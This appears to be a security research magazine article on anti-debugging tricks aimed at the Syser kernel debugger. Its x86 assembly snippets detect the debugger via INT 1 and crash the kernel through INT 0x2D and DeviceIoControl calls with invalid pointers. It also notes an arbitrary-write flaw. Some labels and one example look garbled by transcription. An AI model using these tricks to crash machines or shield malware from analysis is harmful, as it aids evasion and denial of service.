

TECHNICAL FEATURE

ANTI-UNPACKER TRICKS – PART FOUR

Peter Ferrie

Microsoft, USA

New anti-unpacking tricks continue to be developed as the older ones are constantly being defeated. This series of articles (see also [1–3]) describes some tricks that might become common in the future, along with some countermeasures.

This article will concentrate on anti-debugging tricks that target the *Syser* debugger. All of these techniques were discovered and developed by the author of this paper.

1. Syser-specific

Syser is a lesser-known debugger that could be considered to be a successor to *SoftICE*, since it can run on *Windows Vista*. It makes use of a kernel-mode driver in order to support debugging of both user-mode and kernel-mode code, including transitions in either direction between the two. It has a number of vulnerabilities.

1.1 Interrupt 1

The interrupt 1 descriptor normally has a descriptor privilege level (DPL) of 0, which means that the ‘CD 01’ opcode (‘INT 1’ instruction) cannot be issued from ring 3. An attempt to execute this interrupt directly will result in a general protection fault (‘int 0x0d’ exception) being issued by the CPU, eventually resulting in an EXCEPTION_ACCESS_VIOLATION (0xc0000005) exception being raised by *Windows*.

However, if *Syser* is running, it hooks interrupt 1 and adjusts the DPL to 3 so that it can single-step through user-mode code. However, this is not visible from within the debugger – the ‘IDT’ command, to display the interrupt descriptor table, shows the original interrupt 1 handler address with a DPL of 0, as though *Syser* were not present.

The problem is that when an interrupt 1 occurs, *Syser* does not check whether it has been caused by the trap flag or by a software interrupt. The result is that *Syser* always calls the original interrupt 1 handler, and an EXCEPTION_SINGLE_STEP (0x80000004) exception is raised instead of the EXCEPTION_ACCESS_VIOLATION (0xc0000005) exception, allowing for easy detection.

Example code looks like this:

```
xor eax, eax
push offset 11
push d fs:[eax]
```

```
mov fs:[eax], esp
int 1
...
;ExceptionRecord
11: mov eax, [esp+4]
;EXCEPTION_SINGLE_STEP
cmp d [eax], 80000004h
je being_debugged
```

1.2 Interrupt 0x2D

If *Syser* is installed, then the SDbgMsg.sys driver is loaded, even if *Syser* isn’t running. SDbgMsg.sys hooks interrupt 0x2D and executes the following code when interrupt 0x2D is executed:

```
cmp eax, 1
...
cmp byte ptr [offset 12], 0
...
mov ecx, [ecx+4] ;bug here
```

The value at l12 is non-zero on *Windows 2000*. The read from [ecx+4] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the original ECX register value is invalid.

Example code looks like this:

```
;BREAKPOINT_PRINT
push 1
pop eax
xor ecx, ecx
int 2dh
```

If *Syser* is running, then it hooks interrupt 0x2D and executes the following code when interrupt 0x2D is executed:

```
mov ebp, esp
...
mov [ebp+var_4], eax
...
mov [ebp+var_8], edx
...
cmp [ebp+var_4], 4
...
push [ebp+var_8]
...
call 11
...
11: ...
mov esi, [esp+4+arg_4]
push dword ptr [esi] ;bug here
```

The read from [esi] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the original EDX register value is invalid.

Example code looks like this:

```
;BREAKPOINT_UNLOAD_SYMBOLS
push 4
pop eax
```

```
cdq
int 2dh
```

The authors of *Syser* responded quickly. The interrupt 0x2D bug was fixed in *Syser* version 1.99. The fix works by hooking interrupt 0x0E (page-fault exception) and checking the exception address against a list of known-faulty memory-accessing instructions. If the address is on the list, then the hook changes the EIP register value to a location that returns a failure for the access. This is hardly proper practice, but it works well enough.

1.3 DeviceIoControl

As mentioned previously, if *Syser* is installed, then the SDbgMsg.sys driver is loaded, even if *Syser* isn't running. SDbgMsg.sys exposes an interface that can be called via the kernel32 DeviceIoControl() function, and executes the following code when it is called:

```
mov esi, [esp+4+arg_4]
mov eax, [esi+60h]
mov eax, [eax+0Ch]
sub eax, 220004h
jz 11
...
11: ...
    mov eax, [esi+0Ch]
    ...
    push dword ptr [eax] ;bug here
```

The read from [eax] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

```
xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push ebx
push ebx
push offset 11
call CreateFileA
push ebx
push 220004h
push eax
call DeviceIoControl
...
11: db "\\\.\Syser", 0
```

Syser.sys also exposes an interface that can be called via the kernel32 DeviceIoControl() function. That code contains several vulnerabilities. For example:

```
mov esi, [esp+4+arg_4]
mov eax, [esi+60h]
mov eax, [eax+0Ch]
sub eax, 220004h
jz 11
...
11: push esi
    push eax
    call 12
    ...
12: mov eax, [esp+arg_4]
    ...
    mov esi, [eax+0Ch]
    push dword ptr [esi+4] ;bug here
```

The read from [esi+4] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

```
xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push 220004h
push eax
call DeviceIoControl
...
11: db "\\\.\Syser", 0
```

Another vulnerability exists in this code:

```
mov esi, [esp+4+arg_4]
mov eax, [esi+60h]
mov eax, [eax+0Ch]
sub eax, 220004h
...
push 4
pop edx
sub ecx, edx
...
sub ecx, 38h
...
sub ecx, edx
...
sub ecx, 40h
jz 11
...
11: push esi
    push eax
```

```

call 12
...
12: push ebp
    mov ebp, esp
    ...
    mov esi, [ebp+arg_4]
    push dword ptr [esi+0Ch]
    call 13
    ...
13: ...
    push [esp+10h+arg_0]
    ...
    call 14
    ...
14: mov eax, [esp+arg_0]
    mov cl, [eax] ;bug here

```

The read from [eax] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

```

xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push ebx
push ebx
push offset l1
call CreateFileA
push ebx
push 220084h
push eax
call DeviceIoControl
...
l1: db "\\.\Syser", 0

```

Another vulnerability is in this code:

```

mov esi, [esp+4+arg_4]
mov eax, [esi+60h]
mov eax, [eax+0Ch]
sub eax, 220004h
...
push 4
pop edx
sub ecx, edx
...
sub ecx, 38h
...
sub ecx, edx
...
sub ecx, 40h
...

```

```

sub ecx, edx
jz l1
...
l1: push esi
    push eax
    call 12
    ...
12: push ebp
    mov ebp, esp
    ...
    mov esi, [ebp+arg_4]
    push dword ptr [esi+0Ch]
    ...
    push eax
    call 13
    ...
13: ...
    push [ebp+arg_4]
    call 14
    ...
14: push ebp
    mov ebp, esp
    ...
    mov edx, [ebp+arg_0]
    ...
    mov [edx], al ;bug here

```

The write to [edx] without checking first whether the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is either invalid or read-only.

Example code looks like this:

```

xor ebx, ebx
push ebx
push ebx
push 3 ;OPEN_EXISTING
push ebx
push ebx
push ebx
push offset l1
call CreateFileA
push ebx
push 220088h
push eax
call DeviceIoControl
...
l1: db "\\.\Syser", 0

```

Again, the authors of *Syser* responded quickly. Version 1.99 of the debugger included some checks for NULL pointers, but that did not solve the underlying problem. A simple matter of changing the pointers to another invalid value – such as the number one – exposes the problem again.

Like *SoftIce* [3], *Syser* supports the writing of certain values to arbitrary memory locations. The arbitrary writing is possible because the debugger does not perform sufficient address validation. The values that can be written can form part of a multi-stage attack. For example, by writing a zero to a particular location, a conditional branch can be turned into a do-nothing instruction. When applied to system-sensitive code, such as the granting of privileges, the result of such a modification allows even the least privileged account to bypass all system protection.

1.4. Direction flag

When an exception occurs, *Syser* makes an assumption about the direction flag – that the flag is clear – prior to performing a string operation to save the context. If the direction flag is set, then the string operation overwrites some variables that are used later, and this leads to a kernel-mode crash (blue screen).

Example code looks like this:

```
std
mov eax, d ds:[0]
```

This problem has been disclosed publicly [4], but described incorrectly (it is unrelated to the technique described in [1]). The authors of *Syser* responded quickly and the bug was fixed in version 1.99.

In part five of this article (next month) we will look at some anti-debugging tricks that target the *OllyDbg* debugger and its plug-ins.

The text of this paper was produced without reference to any Microsoft source code or personnel.

REFERENCES

- [1] Ferrie, P. Anti-unpacker tricks – part one.
Virus Bulletin, December 2008, p.4.
<http://www.virusbtn.com/pdf/magazine/2008/200812.pdf>.
- [2] Ferrie, P. Anti-unpacker tricks – part two.
Virus Bulletin, January 2009, p.4.
<http://www.virusbtn.com/pdf/magazine/2009/200901.pdf>.
- [3] Ferrie, P. Anti-unpacker tricks – part three.
Virus Bulletin, February 2009, p.4.
<http://www.virusbtn.com/pdf/magazine/2009/200902.pdf>.
- [4] Syser causes BSOD. Souriz's weblog.
<http://souriz.wordpress.com/2008/05/09/syser-causes-bsod/>.